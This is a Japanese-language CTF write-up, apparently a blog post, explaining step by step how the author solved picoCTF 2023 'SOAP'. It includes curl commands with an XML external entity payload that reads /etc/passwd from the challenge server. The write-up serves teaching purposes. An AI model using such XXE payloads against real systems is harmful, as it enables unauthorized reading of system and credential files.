picoCTF 2023 - SOAP

WriteUp: picoCTF 2023 - SOAP

はじめに

こんにちは。CTF初心者のロイといいます。
今回はpicoCTFのSOAP(Medium, Web Exploitation)を解いたので、WriteUpを残しておきます。
解法だけでなく、なるべく思考の過程を残したいと思っていますので、ご参考になれば幸いです。

問題概要

Descriptionによると「セキュリティ評価ができずデプロイされてしまったwebプロジェクトがあります。/etc/passwdを読むことができるかな?」といった感じです。

challenge instanceを立ち上げて、リンクをブラウザで開いてみると、こんな感じです。
picoCTF SOAP

ここからどうやって/etc/passwdを読み取るのか、考えていきます!

まずは画面をしらみつぶし

最初は、とっつき易い画面から見ていきます。
といっても、押せるところはDetailsボタンくらいしかないので、押してみます。

すると、以下のような画面が表示されました。

picoCTF SOAP Details

Special Info::::の後にテキストが表示されています。
他のDetailsボタンを押すと、別のテキストが表示されます。

画面を操作して得られる情報はこれくらいでした。

ブラウザの開発者ツールでみる

次に、ブラウザの開発者ツールを使って、HTMLやJavaScript等を確認してみます。

まずは、HTMLを確認してみます。
すると、以下のようなHTML要素が見つかりました。

<span id="detailsResult"><strong>Special Info::::</strong> University in Kigali, Rwanda offereing MSECE, MSIT and MS EAI</span>

この要素は、先ほど画面で見たDetailsボタンを押したときに表示される内容です。

次に、JavaScriptを確認してみます。(Sourcesタブから)
jsのdetailsCheck.jsとxmlDetailsCheckPayload.jsを見てみると、以下のようなことをしているとわかります。

detailFormというHTMLタグでsubmitが実行されたら、checkDetails関数が呼び出される。
checkDetails関数は、payload関数で組み立てたxmlをリクエストbodyとして/dataへPOSTする。
そのレスポンスは、detailsResultというHTML要素に格納される。

このことから、/dataにxmlデータをPOSTすることで、何らかのレスポンスが得られることがわかりました。

では、実際にどのようなxmlを送っているのか確認します。

開発者ツールのNetworkタブを開いた状態で、画面のDetailsボタンを押すと、data(下画像)が確認できます。

picoCTF SOAP Network

dataを選択し、Payloadタブを選択するとRequestPayload(xml)が確認できます。

自身の環境からも試してみる

では、確認したxmlデータを使って自身のターミナルからレスポンスが得られるか試してみます。

curlコマンドを使って、/dataにxmlをPOSTで送ります。


      $ curl -v -X POST http://saturn.picoctf.net:62564/data -H "Content-Type: application/xml" \
      -d '<?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>'
    

すると、以下のようなレスポンスが返ってきました。


      <strong>Special Info::::</strong> University in Kigali, Rwanda offereing MSECE, MSIT and MS EAI

このレスポンスは、先ほど画面で見た内容と同じですね。

次は、どうやって/etc/passwdをみるかを考えていきたいと思います。

ヒントのXML external entity Injectionとは?

問題のヒントに「XML external entity Injection」という文字がありましたね。
それについて、調べてみます。

XMLエンティティとは、データのプレースホルダでテキストや文書を埋め込むことができるそうです。
そして、外部のドキュメントを参照するものを、外部エンティティと呼ぶそうです。

つまり、/etc/passwdも外部エンティティとして埋め込むことができるかもしれません。

外部エンティティを取り込むxmlの書き方は下記の通りです。(例としてcontent.txtを取り込み)


      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE data [<!ENTITY xxe SYSTEM "content.txt">]>
      <data>
          <ID>&xxe;</ID>
      </data>
      

ここまで来たら、あとは/etc/passwdにしてcurlを投げるだけですね。

最後の一撃

では、実際にcurlを投げてみます。


      $ curl -v -X POST http://saturn.picoctf.net:62564/data -H "Content-Type: application/xml" \
      -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "/etc/passwd">]><data><ID>&xxe;</ID></data>'
    

すると、以下画像のようなレスポンスが返ってきました。

picoCTF SOAP Flag

flagが表示されました!

TECH BLOG BY OZAKI